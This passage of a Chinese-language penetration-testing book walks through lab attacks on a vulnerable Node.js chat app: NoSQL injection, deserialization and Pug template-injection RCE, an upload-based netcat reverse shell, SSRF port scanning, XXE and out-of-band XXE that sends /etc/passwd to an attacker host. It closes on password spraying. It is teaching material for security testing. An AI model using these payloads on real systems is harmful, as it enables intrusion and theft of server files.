尝试使用任何用户名和密码进行身份验证。查看在Burp Suite中的身份验证请求期间发送的POST流量，如图3.15所示。

图3.15

在聊天应用程序中，我们看到对/loginnosql端点进行身份验证期间，POST数据中包含{“username”：“admin”，“password”，“GuessingAdminPassword”}。在POST请求中使用JSON格式验证用户是很常见的，但是如果定义自己的JSON对象，我们可能使用不同的条件语句来确保条件始终为真。这实际上类似于传统的SQLi 1 = 1语句，从而绕过身份验证。下面让我们来了解是否可以注入应用程序。

2．服务器源代码

在聊天应用程序的NoSQL部分，我们将看到类似的JSON POST请求。即使这样，作为黑盒测试，看不到服务器端的源代码，我们期望以下面类似的方式查询MongoDB后端。

db.collection(collection).find({"username":username,"password":password}).limit(1)…。

3．注入NoSQL聊天应用程序

正如从服务器端源代码中看到的那样，我们将使用用户提供的用户名/密码，搜索数据库，查找匹配项。如果能够修改POST请求，那么我们或许可以实施数据库查询注入，如图3.16所示。

在浏览器中，通过Burp Suite进行代理，访问聊天应用程序：http://chat:3000/nosql。

在Burp Suite中打开“Intercept”，单击Login，然后以管理员身份提交用户名，并输入密码GuessingAdminPassword。

代理程序接收流量并拦截POST请求。

修改{"username":"admin","password", "GuessingAdminPassword"}内容为{"username": "admin","password":{"$gt":""}}。

您现在可以以管理员身份登录！

图3.16

发生了什么？我们将字符串“GuessingAdminPassword”更改为JSON对象{"$gt":""}，这是正确的语句，因为所有的元素均大于NULL。将POST请求更改为{“username”:“admin”, “password”:TRUE}，使得请求始终正确，并以管理员身份登录而不需要知道密码，复制了SQLi中1=1攻击方式。

4．高级NoSQLi注入攻击

NoSQL注入攻击并不是新的攻击方式，在本章的目的是，展示新的框架和语言如何隐蔽地引入新的漏洞。例如，Node.js有一个qs模块，该模块具有特定的语法，用于将HTTP请求参数转换为JSON对象。默认情况下，qs模块是Express中'body-parser'中间件的一部分。

qs模块：查询和解析字符串库，增加了一些安全性。

这意味着什么？如果使用了qs模块，并且在参数中使用括号表示法，POST请求将在服务器端转换为JSON。因此，一个POST请求，例如username[value]=admin&password [value]=admin将转换为{"username": {"value":"admin"}, "password":{"value":"admin"}}。现在，qs模块协助NoSQLi接收并转换POST。

例如，我们可以发出如下的POST请求。

username=admin&password[$gt]

服务器端请求转换变成如下形式。

{"username":"admin", "password":{"$gt":""}

这看起来类似于之前的NoSQLi攻击。

现在，我们的请求看起来与上一节中的NoSQLi请求是一致的。让我们看看实际操作，如图3.17所示。

访问http://chat:3000/nosql2。

启用Burp Intercept。

输入admin:anything登录。

修改POST参数。

username = admin&password [$ gt] =&submit = login。

图3.17

您已经以admin身份登录！您已经利用Express框架中的qs模块（正文解析器中间件一部分）存在的解析漏洞，执行NoSQL注入攻击。如果您不知道选用哪个用户名攻击怎么办？我们可以使用同样的攻击方法，查找和登录其他账户吗？

如果我们尝试使用用户名比较，而不是密码比较呢？在这种情况下，NoSQLi POST请求如下所示。

username[$gt]=admin&password[$gt]=&submit=login。

上面的POST请求实际上是在数据库中查询大于admin的用户名，密码字段始终正确。如果成功了，您可以找到管理员的下一个用户（按字母顺序），并以他的身份登录。继续这样做，直到找到超级账户。

3.3.11　反序列化攻击

在过去几年中，针对网站开展序列化/反序列化攻击变得越来越流行。我们在BlackHat上看到了很多不同的讨论，内容主要是挖掘了Jenkins和Apache Struts 2等常见应用程序中的序列化关键漏洞，同时出现了大量反序列化研究项目ysoserial。那么反序列化攻击为什么这么引人关注呢？

在开始之前，我们需要了解为什么要序列化。序列化数据有很多原因，其中主要的原因是用于生成值/数据的存储，而不改变其类型或结构。序列化将对象转换为字节流，用于网络传输或存储。通常，转换方法涉及XML、JSON或针对某语言的序列化方法。

1．Node.js中的反序列化

很多时候，挖掘复杂的漏洞需要深入了解应用程序。在这个场景中，Node.js聊天应用程序使用存在漏洞的serialize.js版本。这个库存在漏洞，易受攻击，原因是不受信任的数据传递给unserialize()函数，可以被利用，执行任意代码，具体操作是将中间调用函数表达式（IIFE）传递给JavaScript对象。

我们先来详细了解攻击的细节，以便更好地了解发生了什么事情。首先，我们查看serialize.js文件并快速搜索eval，如图3.18所示。一般情况下，JavaScript eval语句包括用户输入数据是存在问题的，因为eval()执行原始JavaScript。如果攻击者能够将JavaScript注入此语句中，则能够在服务器上远程执行代码。

图3.18

其次，我们需要创建一个序列化静荷，静荷将被反序列化，并通过eval运行，同时JavaScript静荷需要运行 ('child_process').exec('ls')。

{"thp":"_$$ND_FUNC$$_function (){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) {console.log(stdout) });}()"}。

上面的JSON对象将把以下请求“(){require('child_process').exec('ls')”传递给unserialize函数中的eval语句，实现远程代码执行。最后需要注意的是，结尾括号添加了“()”，因为没有括号我们的函数就不会被调用。研究员Ajin Abraham最早发现这个漏洞，应用中间调用函数表达式或IIFE在创建函数后，执行该函数。

在聊天应用程序的例子中，我们将查看Cookie值，Cookie使用存在漏洞的库进行反序列化。

访问http://chat:3000。

在burp中代理流量并查看Cookie值，如图3.19所示。

图3.19

找到一个Cookie名称“donotdecodeme”。

将该Cookie复制到Burp Suite解码器中，对其进行Base64解码，如图3.20所示。

如前所述，每种语言都有其独特之处，Node.js也不例外。在Node/Express/Pug框架中，您无法直接写入Web目录，并且像在PHP中一样访问它。必须指定访问文件夹的路径，文件夹需要可写并且可以被公共的互联网访问。

图3.20

2．创建静荷

在开始之前，需要注意实验中的所有这些静荷都采用易于复制/粘贴的格式。

获取原始静荷，修改您的Shell执行命令“'DO SYSTEM COMMANDS HERE'”。

{"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE',function(error, stdout, stderr) { console.log(stdout) });}()"}

示例如下。

{"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('echo node deserialization is awesome!! >>/opt/web/chatSupportSystems/public/hacked.txt', function(error, stdout, stderr) { console.log(stdout) });}()"}

由于原始 Cookie 已经编码，因此我们需要使用 Burp 解码器/编码器对静荷进行base64编码。

示例静荷，如图3.21所示 eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxdWlyZSgnY
2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2VjaG8gbm9kZSBkZXNlcmlhbGl6YX
Rpb24gaXMgYXdlc29tZSEhID4+IC9vcHQvd2ViL2NoYXRTdXBwb3J0U3lz
dGVtcy9wdWJsaWMvaGFja2VkLnR4dCcsIGZ1bmN0aW9uKGVycm9yLCBz
dGRvdXQsIHN0ZGVycikgeyBjb25zb2xlLmxvZyhzdGRvdXQpIH0pO30oKSJ9

注销，打开Burp拦截，并转发请求/（home）。

修改Cookie添加新创建的Base64静荷

转发流量，因为/是公开文件夹，您可以打开浏览器访问 http://chat: 3000/hacked.txt。

您现在实现了远程执行代码，可以随意对此系统进行后期利用。首先尝试访问/etc/passwd。

图3.21

如图3.22所示，在node-serialize模块的源代码中，我们看到这个函数表达式正在被计算，用户输入可能被执行，对于任何JavaScript/Node.js应用程序来说，这都是一个严重的问题。这种糟糕的实现方式导致我们可以突破这个应用程序。

图3.22

3.3.12　模板引擎攻击——模板注入

与标准HTML相比，模板引擎由于其模块化和简洁的代码，被广泛使用。模板注入是指用户输入直接传递到渲染模板，导致底层模板的修改。模板注入攻击已经出现在wikis、WSYWIG或电子邮件领域。因为这种情况很少是意外发生的，所以经常被误解为XSS。模板注入攻击使得攻击者可以访问底层操作系统，从而远程执行代码。

在下一个示例中，您将通过Pug对Node.js应用程序执行模板注入攻击。我们无意中将自己暴露在带有用户输入的元重定向的模板注入中，这是使用模板文本‘$｛｝’呈现的。值得注意的是，模板文字允许使用换行符，这要求我们不要跳出段落标记，因为Pug对空格和换行符很敏感，类似于Python。

在Pug中，第一个字符或单词代表关键字，用于指明标签或者函数。您也可以使用缩进指定多行字符串，如下所示。

p。

这是一个段落缩进

这仍然是段落标记的一部分

以下是 HTML 和Pug模板的示例，如图 3.23所示。

图3.23

上面的示例文本显示了模版在HTML中的排版以及模版在Pug Markup语言中的排版。通过模板和字符串插值，我们可以创建快速、可重用且高效的模板。

1．模板注入示例

聊天应用程序容易受到模板注入攻击。在下面的应用程序中，我们将观察到是否可以与Pug模板系统进行交互。这可以通过检查输入参数是否可以处理基本操作进行判断。James Kettle写过一篇论文介绍攻击模板以及与底层模板系统的交互方式。

与Pug交互的步骤如下。

访问http://chat:3000，使用任何有效账户登录。

访问http://chat:3000/directmessage并输入用户和评论，单击“发送”。

接下来，回到directmessage，尝试在用户参数处添加XSS静荷<script>alert(1) </script>。

http://chat:3000/ti?user=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&co mment=&link=

图 3.24 所示表明应用程序存在XSS漏洞，但是可以与模板系统进行交互吗？

图3.24

在Burp历史记录中，查看服务器请求/响应，指向端点数据包/ti?user=，并将请求发送到Burp Repeater（<Ctrl + R>组合键），如图3.25所示。

图3.25

2．测试基本操作

我们可以通过传递一个算术字符串来测试XSS易受攻击的参数是否用于模板注入。如果输入被评估，那么表明参数存在模板注入攻击的风险，这是因为模板（如编码语言）可以轻松支持算术运算。

基本操作测试如下。

使用Burp Repeater工具，对/ti测试各种模板注入参数。我们可以通过诸如9 × 9的数学运算完成相应测试。

我们可以看到计算并不正确，得到的运算结果不是81，如图3.26所示。请记住，用户输入包含在段落标记中，因此可以假设我们的Pug模板代码如下所示。

p Message has been sent to !{user}

图3.26

利用Pug的特点。

（1）正如前文所述，Pug是用空格分隔的（类似于Python），换行符用于输入一个新的模板，这意味着如果跳出Pug中的当前行，就可以执行新的模板代码。在这种情况下，我们将跳出段落标记（<p>），如上所示，执行新的恶意模板代码。为此，我们必须使用一些URL编码来利用此漏洞。

（2）逐步完成每个要求实现模板注入。

首先，我们需要另起一行，跳出当前模板。这可以使用以下字符来完成。

%0a new line

其次，我们可以在Pug中使用“=”符号进行数学计算。

%3d 是“=” 的编码

最后，我们可以输入数学方程式。

9 × 9数学方程式

（3）因此，最终的静荷将如下所示。

[newline]=9\*9

URL编码：
GET/ti?user=%0a%3d9*9&comment=&link=

（4）/ti?user =%0a%3d9 * 9在响应正文中输出了81，如图3.27所示。您在用户参数中实现了模板注入！我们利用JavaScript远程执行代码。

图3.27

正如您在响应中所看到的，我们在段落标记之外看到“81”的输出结果，而不是用户名！这意味着我们能够注入模板。

我们现在知道程序存在一些模板注入漏洞，可以进行简单的计算，但我们需要了解是否可以执行Shell。我们必须在Node/JavaScript中通过正确的函数来执行Shell。

首先，识别全局根对象，然后继续确定可以访问哪些模块和功能。最终使用Require函数导入child_process .exec，运行操作系统命令。在Pug中，“=”字符允许输出JavaScript结果。我们将从访问全局根对象开始。

[new line]=globa

使用Burp的解码器工具将上述表达式进行URL编码，可以得到：%0a%3d %20%67%6c%6f%62%61%6c

使用上面的URL编码字符串作为用户值并重新发送。

在提交之前的请求后，如果一切顺利，我们将看到[object global]，如图3.28所示，这意味着我们可以访问全局对象。

图3.28

解析全局对象。

通过在全局范围内使用Pug迭代器“each”，查看可以访问的对象和属性。注意换行符（%0a）和空格（%20）。

全局中的每个变量和索引
p = index

URL编码：
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e%
20%67%6c%6f%62%61%6c%0a%20%20%70%3d%20%69%6e%64%65%78

在上面的示例中，我们使用‘each’迭代器，它可以访问值，并且如果指定数组或对象，也可以访问索引。我们试图找到全局对象中可以访问的对象、方法或模块。最终目标是找到类似“require”的方法执行子进程.exec。从现在开始，我们反复对方法和对象进行试验和试错，最终找到require方法，如图3.29所示。

图3.29

搜索代码执行函数。

从上一个请求中，我们看到了全局中的所有对象以及一个名为“process”的对象。接下来，我们需要识别有趣的对象，这些对象可以在global.process中访问到。

- var x = global.process.mainModule.require
p= index

URL编码：
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e
%20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%0a%20%20
%70%3d%20%69%6e%64%65%78

我们尝试在所有可用的方法中选择“process”，因为它最终会执行 require，如图3.30所示。您可以选择不同的迭代方法，来对过程进行试验和试错。

图3.30

global.process.mainModule的每个变量和索引
p= index

URL编码：
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69
%6e%20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%2e%6d
%61%69%6e%4d%6f%64%75%6c%65%0a%20%20%70%3d%20%69%6e%64
%65%78

远程执行代码。

发送最终的静荷，我们应该在global.process.mainModule中看到“require”函数。现在可以设置导入‘child_process’和.exec实现远程代码执行。

- var x = global.process.mainModule.require

- x('child_process').exec('cat/etc/passwd >>/opt/web/chatSupportSystems/ public/accounts.txt')

URL编码：
%0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%62%61%6c%2e
%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65
%2e%72%65%71%75%69%72%65%20%0a%2d%20%78%28%27%63%68%69
%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28
%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%3e
%3e%20%2f%6f%70%74%2f%77%65%62%2f%63%68%61%74%53%75%70
%70%6f%72%74%53%79%73%74%65%6d%73%2f%70%75%62%6c%69%63
%2f%61%63%63%6f%75%6e%74%73%2e%74%78%74%27%29

在上面的示例中，我们像在JavaScript中一样定义变量“x”，但行首的破折号表示无缓冲输出（隐藏）。我们将全局对象和最终获得require所需的模块一起使用，从而可以使用child_process.exec来运行系统命令。

将/etc/passwd的内容输出到Web公共根目录，这是唯一具有写入权限的目录（由应用程序创建者设计），并且允许用户查看内容。我们也可以执行反向Shell或系统命令允许的任何其他内容。

我们可以访问http://chat:3000/accounts.txt，包含网站服务器/etc/passwd的内容，如图3.31所示。

图3.31

在系统上实现远程执行代码并返回Shell。

现在，我们可以自动化这个过程吗？当然可以。一个名为Tplmap的工具（可在GitHub网站中搜索）与SQLmap类似，它尝试将所有不同的模板注入组合，如图3.32所示。

cd /opt/tplmap

./tplmap.py -u "http://chat:3000/ti?user=*&comment=asdfasdf&link="

图3.32

3.3.13　JavaScript和远程代码执行

在每次安全评估和Web应用程序渗透测试中，我们尽可能实现远程执行代码。虽然远程执行代码几乎会出现在任何地方，但是常见于上传WebShell、Imagetragick漏洞利用、使用Office文件开展XXE攻击、目录遍历结合上传功能实现关键文件替换等过程。

通常，我们可能会尝试找到上传区域，并使用Shell。下面的网址包含各种不同类型的webshell静荷（可以GitHub网站中搜索）。注意，这些Shell没有经过任何审查，使用它们您需要自担风险。我在互联网上见到很多网站Shell中包含恶意软件。

利用上传缺陷攻击存在漏洞的聊天应用程序

在实验中，我们将在Node应用程序上实现代码上传和远程执行。在示例中，文件上传功能允许上传任何文件。不幸的是，对于Node应用，我们不能像PHP语言那样，通过Web浏览器调用文件，实现文件的执行。因此，在这种情况下，我们将使用动态路由端点，尝试呈现Pug文件的内容。如图3.33所示，端点读取文件的内容，并且认为是Pug文件，因为默认目录存在于Views目录中，这就是漏洞所在。此端点还存在路径遍历和本地文件读取漏洞。

图3.33

在上传过程中，文件处理程序模块将该文件重新命名为随机字符串，并且不带扩展名。在页面的上传响应内容中，存在上传文件的服务器路径位置。利用此路径信息，我们可以使用/drouting执行模板注入攻击，实现远程代码执行。

既然我们知道底层应用程序是Node（JavaScript），那么我们可以通过Pug上传什么样的静荷并用于执行？回到之前使用的简单示例。

首先，将变量分配给require模块。

-var x = global.process.mainModule.require

使用子进程模块访问操作系统功能函数，运行任何系统命令。

-x('child_process').exec('nc [Your_IP] 8888 -e/bin/bash')

执行远程代码上传攻击。

访问http://chat:3000并使用任何有效账户登录，如图3.34所示。

图3.34

上传下面的文本文件信息。在Pug中，“-”字符表示执行JavaScript。

-var x = global.process.mainModule.require

-x('child_process').exec('nc [Your_IP] 8888 -e/bin/bash')

通过Burp工具，查看上传文件的请求和响应数据包，如图3.35所示。您将看到在POST请求响应数据包中，包含上传文件的散列值以及对动态路由的引用。

在此模板代码中，我们将require函数分配给child_process.exec，以便在操作系统级别上运行命令。Web服务器运行代码，回连到监听器IP地址和8888端口上，我们可以获得Web服务器Shell。

在攻击者计算机上，启动netcat监听器，准备Shell回连。

nc -l -p 8888

图3.35

在端点上运行动态路由，从而激活代码。在浏览器中，找到上传的散列文件。动态路由端点采用指定的Pug模板进行呈现。幸运的是，我们上传的Pug模板包含反向Shell。

在浏览器中访问drouting端点，使用从文件上传响应中恢复的文件。我们使用目录遍历“../”来降低一个目录，以便能够进入包含恶意文件的上传文件夹。

/drouting?filename=../uploads/[YOUR FILE HASH]

返回监听8888端口终端，使用Shell开始交互操作，如图3.36所示。

图3.36

3.3.14　服务器端请求伪造（SSRF）

服务器端请求伪造（SSRF）通常容易被误解，并且在表述方面，经常与跨站点请求伪造（CSRF）混为一谈。虽然这个漏洞已经存在了一段时间，但实际上大家对这个漏洞还不是很了解，特别是其带来的严重后果。我们来介绍一下SSRF是什么以及为什么会产生这个漏洞。

服务器端请求伪造通常用于访问本地系统、内部网络或某种迁移。现在通过一个简单的示例来理解 SSRF。假设有一个公共网站应用程序，允许用户通过互联网的网址上传配置文件图片。您登录该站点，访问个人配置，然后单击按钮，从 Imgur（公共图像托管服务）更新配置信息。您提供图像网址并单击提交。接下来发生的事情是服务器创建一个全新的请求，访问Imgur站点，抓取图像（可能会执行一些图像操作以调整图像大小—imagetragick），将其保存到服务器，并给用户发送成功消息。如您所见，我们提供了一个URL，服务器获取该URL并获得图像，然后将其上传到数据库。

我们最初向 Web 应用程序提供URL，以便从外部资源获取配置文件图片。但是，如果我们将图像网址指向http://127.0.0.1:80/favicon.ico，会发生什么？这将告诉服务器，不需要访问Imgur，仅需要从网站服务器的本地主机（自身）获取favicon.ico。如果我们能够获得200条消息或使个人资料图片来自于本地的图标，我们就会知道可能存在SSRF漏洞。

网站服务器运行在80端口，如果我们尝试连接到http://127.0.0.1:8080（这是一个除本地主机之外，其他主机无法访问的端口），会发生什么情况？这非常有趣。如果我们能得到完整的HTTP请求/响应数据包，而且可以在本地对端口8080发出GET请求，那么如果我们发现易受攻击的Jenkins或Apache Tomcat服务，会发生什么？即使这个端口没有对外公开，我们也许可以突破控制这个设备。如果我们开始请求内部地址http://192.168.10.2-254，而不是127.0.0.1会怎样？回想一下那些网站扫描工具，如果获得内部网络地址，那么扫描工具会重新发挥作用，可以用来发现内部网络服务的漏洞。

发现SSRF漏洞后，您可以做以下工作。

（1）在本地回环接口上访问服务。

（2）扫描内部网络并与这些服务进行交互（GET/POST/HEAD）。

（3）使用FILE://，读取服务器上的本地文件。

（4）利用AWS Rest接口。

（5）横向移动到内部环境中。

在图3.37中，我们在Web应用程序上发现了一个SSRF漏洞，综合利用该漏洞。

图3.37

让我们来看一个真实的例子。

在聊天支持系统（http://chat:3000/）网站应用程序中，首先确保创建一个账户并登录。

登录后，通过链接访问直接消息（DM）或直接访问http://chat:3000/directmessage。

在“Link”文本框中，输入http://cyberspacekittens.com网站，然后单击预览链接。

您现在应该看到http://cyberspacekittens.com呈现的页面，但URI栏仍应指向聊天应用程序。

这表明该站点容易存在SSRF漏洞。如图3.38所示，我们也可以尝试访问chat:3000/ ssrf?user=&comment=&link=http://127.0.0.1:3000并指向localhost。注意，页面表明我们现在访问服务器站点本地。

我们知道应用程序本身正在监听端口3000。我们可以使用Nmap工具从外部对设备进行扫描，并发现当前没有其他的Web端口开放，但是有什么服务仅可用于localhost开放呢？为了弄清楚，我们对127.0.0.1的所有端口进行暴力扫描。我们可以使用Burp Suite和Intruder工具完成这个任务。

图3.38

在Burp Suite中，单击“Proxy/HTTP History”选项卡，找到我们上一个SSRF的请求。

右键单击请求正文选择“Send to Intruder”。

❽Intruder”选项卡将变为可用，转到“位置”选项卡，然后单击“清除”。

单击并突出显示端口“3000”，然后单击Add。GET请求如下所示。

GET/ssrf?user=&comment=&link=http://127.0.0.1:§3000§ HTTP/1.1

单击“Payloads”选项卡，然后选择静荷类型“Numbers”。如图3.39所示，选择端口28000～28100。通常选择所有端口，但是在本实验中仅选择一部分。

From: 28000

To: 28100

Step: 1

单击“Start attack”按钮。

如图3.40所示，您将看到端口28017的响应长度远大于所有其他请求。如果打开浏览器访问网址：http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017，就可以利用SSRF漏洞访问MongoDB网站界面，如图3.41所示。

图3.39

图3.40

图3.41

您应该能够访问所有链接，但需要借助 SSRF 漏洞。要访问 serverStatus（http://chat: 3000/serverStatus?text=1），如图3.42所示，您必须使用SSRF攻击方法并跳转到下面的网址。

图3.42

http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus? text=1。

服务器端请求伪造漏洞的危害可能非常大。服务器端请求伪造漏洞不是新漏洞，目前发现的SSRF漏洞数量依然在不断增加。由于SSRF漏洞允许攻击者在基础网络内部进行迁移，因此通常会造成其他关键服务的暴露。

3.3.15　XML eXternal Entities（XXE）

XML 是可扩展标记语言的缩写，主要用于发送/存储易于理解的数据。XML eXternal Entities（XXE）是指应用程序中XML解析器漏洞。应用程序中的XML解析器具有允许文件上传、解析Office文档、JSON数据甚至Flash类型游戏等功能。当解析 XML 时，不正确的验证可能导致攻击者读取文件，发起拒绝服务攻击，甚至执行远程代码。从宏观角度来看，应用程序具有以下需求：（1）解析用户提供的XML数据；（2）实体的系统标识符部分必须在文档类型声明（DTD）内；（3）XML解析器必须验证/处理DTD并解析外部实体。正常XML和恶意XML的对比如表3.1所示。

表3.1

正常XML文件

恶意XML文件

<?xml version="1.0" encoding="ISO-
8859-1"?>
<Prod>
<Type>Book</type>
<name>THP</name>
<id>100</id>
</Prod>

<?xml version="1.0" encoding="utf-
8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM
"file:///etc/passwd">
]>
<xxx>&xxe;</xxx>

上面，我们有一个普通的XML文件和一个定制的读取系统的/etc/passwd内容的XML文件。我们来看一看，是否可以在真实的XML请求中注入恶意XML请求。

XXE实验

本实验需要自定义请求配置，有一个VMWare虚拟机可用于XXE攻击。

下载后，在VMWare中打开虚拟机并启动它。在登录界面中，您无须登录，但需要获取系统的IP地址。

设置浏览器。

通过Burp Suite代理所有流量。

访问网址：http://[虚拟机IP地址]。

拦截流量并单击“Hack the XML”。

在加载页面后，查看页面的HTML源代码，会有一个通过POST请求提交的隐藏字段。XML内容如下所示。

<?xml version="1.0" ?>
<!DOCTYPE thp [
         <!ELEMENT thp ANY>
         <!ENTITY book "Universe">
]>
<thp>Hack The &book;</thp>

在这个例子中，指定XML版本为1.0，DOCTYPE指定根元素是thp，!ELEMENT指定任何类型，并且!ENTITY设置book字符串“Universe”。最后，在XML输出中，我们希望从解析XML文件中打印出实体内容。

这通常是您在发送XML数据的应用程序中看到的内容。由于控制了POST数据中的XML请求数据，因此我们可以尝试注入恶意实体。默认情况下，绝大多数XML解析库都支持SYSTEM关键字，该关键字允许从URI读取数据（包括使用file://协议从系统本地读取数据）。因此，我们可以创建实体读取/etc/passwd文件。正常XML和恶意XML的对比如表3.2所示。

表3.2

原始XML文件

恶意XML文件

<?xml version="1.0" ?>
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ENTITY book "Universe">
]>
<thp>Hack The &book;</thp>

<?xml version="1.0" ?>
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ENTITY book SYSTEM
"file:///etc/passwd">
]>
<thp>Hack The &book;</thp>

XXE实验——读取文件

拦截流量并在[IP of Your VM]/xxe.php中单击“Hack the XML”。

将截获的流量发送到Repeater。

修改POST参数中“data”内容。

<?xml version="1.0" ?><!DOCTYPE thp [ <!ELEMENT thp ANY><!ENTITY book SYSTEM "file:///etc/passwd">]><thp>Hack The %26book%3B</thp>

请注意%26等同于&，%263B等同于；．我们需要对符号和分号字符进行百分比编码。

提交流量，我们能够读取/etc/passwd文件，如图3.43所示。

图3.43

3.3.16　高级XXE—带外（XXE-OOB）

在之前的攻击中，我们能够在<thp>标签中获得响应。如果看不到响应或遇到字符/文件限制，我们怎样把数据发送到带外（OOB）？我们可以提供远程文档类型定义（DTD）文件来执行OOB-XXE，而不是在请求静荷中定义攻击。DTD是具有完整结构的XML文件，它定义了XML文档的结构、合法元素及属性。为了方便起见，DTD 文件包含所需的攻击/渗透静荷，这将帮助我们解决许多字符限制的问题。在实验示例中，我们将使易受攻击的 XXE 服务器请求托管在远程服务器上的DTD文件。

新的XXE攻击将分以下4个阶段进行。

修改的XXE XML攻击。

使易受攻击的XML解析器从攻击者的服务器获取DTD文件。

DTD文件包含读取/etc/passwd文件的代码。

DTD文件包含用于泄露数据内容的代码（可能编码）。

设置攻击设备和XXE-OOB静荷。

我们将指定外部DTD文件，而不是原始文件读取。

<!ENTITY % dtd SYSTEM "http://[Your_IP]/payload.dtd"> %dtd;

新的数据POST静荷显示如下（请记住改变[Your_IP]）。

<?xml version="1.0"?><!DOCTYPE thp [<!ELEMENT thp ANY><!ENTITY % dtd SYSTEM "http://[YOUR_IP]/payload.dtd">%dtd;]><thp><error>%26send%3B </error> </thp>

在攻击者服务器上创建名为payload.dtd的文件。

gedit/var/www/html/payload.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % all "<!ENTITY send SYSTEM'http://[Your_IP]:8888/collect= %file;'>">

%all;

刚刚创建的DTD文件的作用是从存在XXE漏洞的服务器读取/etc/passwd，然后将敏感数据通过Web请求回传到攻击者主机。为了确保收到响应，需要启动Web服务器，提供DTD文件访问，并设置NetCat监听器。

nc -l -p 8888

您可能看到以下错误内容：simplexml_load_string(): parser error : Detected an entity reference loop in <b>/var/www/html/xxe.php</b> on line <b>20。在进行XXE攻击时，通常会遇到解析器错误。很多时候，XXE解析器只解析部分字符，因此读取带有特殊字符的文件将导致解析器崩溃。如何才能解决这个问题呢？对于PHP，我们可以使用PHP输入/输出流读取本地文件，并使用php://filter/read=convert.base64- encode对文件进行base64编码。运行NetCat监听器，修改payload.dtd文件来启用这个功能，如图3.44所示。

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource= file:///etc/passwd">

<!ENTITY % all "<!ENTITY send SYSTEM'http://[Your_IP]:8888/collect=%file;'>">

%all;

图3.44

在重新发送新修改的请求后，我们现在可以看到被攻击者服务器首先读取payload.dtd文件，处理该文件，并向端口8888上的NetCat监听程序发送第二个Web请求。当然，GET请求是base64编码的，我们需要对请求数据包解码。

3.4　结论

这只是您可能遇到的各种网络攻击的一小部分，目的是开阔眼界，了解这些新框架如何引入旧的和新的攻击方式。许多常见的漏洞和应用程序扫描程序，往往会忽略这些更复杂的漏洞，因为这些漏洞是与语言或框架相关的。我的主要观点是，为了对目标进行充分的审查，您需要真正理解语言和框架。

第4章　带球——突破网络

在评估开始的第二天，您使用Nmap工具扫描整个网络，不走运地启动了漏洞扫描程序，但是没有在任何网站应用程序中发现突破口。有点沮丧，您退后一步，查看所有的探测结果。您知道，一旦可以进入网络，就可以使用大量的技巧获取更多的凭证，在设备之间迁移，利用活动目录存在的漏洞，找到我们都渴望的网络空间“战利品”。当然，您知道这不是一件容易的事。您需要绕过大量的障碍，防止错误信息的误导，以及进行大量的尝试。

在本书第2版的第3章中重点介绍了如何利用漏洞扫描程序的结果，并通过这些漏洞进行突破。这些漏洞包括Metasploit、打印机漏洞、“心脏滴血”、Shellshock、SQL注入和其他类型的常见漏洞。最近，出现了许多威力强大的代码执行漏洞，如永恒之蓝（MS017-10）漏洞、多个Jenkins漏洞、Apache Struts 2漏洞和CMS应用程序漏洞等。由于本书是黑客秘笈的红队版本，因此我们不会过度关注如何使用这些工具或如何利用特定漏洞。相反，我们将专注于如何利用目标网络环境和实际业务开展攻击。

在本章中，您将专注于红队策略，利用企业基础架构漏洞，获取凭证了解内部网络情况以及在主机和网络之间进行迁移。我们将在运行单个漏洞扫描程序的情况下完成任务。

4.1　从网络外部查找凭证

作为红队，找到目标突破口可能很复杂，而且需要大量资源。在本书前两版中，我们复制了被攻击者的身份鉴权页面，购买了相似的域名，搭建了钓鱼网站，生成定制的恶意软件等。

有时，我告诉红队……一定要把事情简单化。很多时候我们提出了疯狂复杂的计划，但是最终发挥作用的是最简单的计划。

常用的一种基本技术是密码暴力破解。但是，作为红队，我们必须了解如何巧妙地做到这一点。随着公司的发展，公司引入了更多的技术和工具。对于攻击者来说，这无疑提供了施展能力的舞台。当公司开始连接互联网时，我们开始了解身份验证技术，应用于电子邮件（ieOffice 365或OWA）、通信（Lync、XMPP、WebEx）工具、协作工具（JIRA、Slack、Hipchat、Huddle），以及其他外部服务（Jenkins、CMS站点、支持站点）。这些是我们想要攻击的目标。

我们尝试攻击这些服务器/服务的原因是，我们正在寻找根据被攻击者的轻量目录访问协议（LDAP）/活动目录（AD）基础架构进行身份验证的应用程序。这可以通过某些活动目录集合、单点登录过程或直接管理活动目录。我们需要找到一些常用的凭证，从而可以开展下一步攻击。从侦察阶段开始，发现并识别了大量电子邮件和用户名账户，我们可以通过所谓的密码喷射实施攻击。我们将针对所有不同的应用程序，尝试猜测基本密码，正如我们在现实世界的高级持续威胁（APT）攻击事件中看到的那样。

我们为什么要对不同的外部服务进行身份鉴权？

某些身份验证源不会记录来自外部服务的尝试。

虽然我们通常会看到需要双因素身份验证的电子邮件或VPN，但是面向外部的聊天系统可能不需要。

密码重用率非常高。

有时外部服务不会在多次错误尝试时锁定AD账户。

目前有许多工具可以用于暴力破解，但是这里我们只重点介绍其中的几个。第一个是Spray工具，来自Spiderlabs实验室。虽然Spray使用时有点复杂，但是我非常喜欢这个工具提供的密码“喷射”功能。例如，该工具支持SMB、OWA和Lync（Microsoft Chat）协议。

要使用密码喷射功能，需指定以下内容。

spray.sh -owa <targetIP> <usernameList> <passwordList><AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <Domain>。

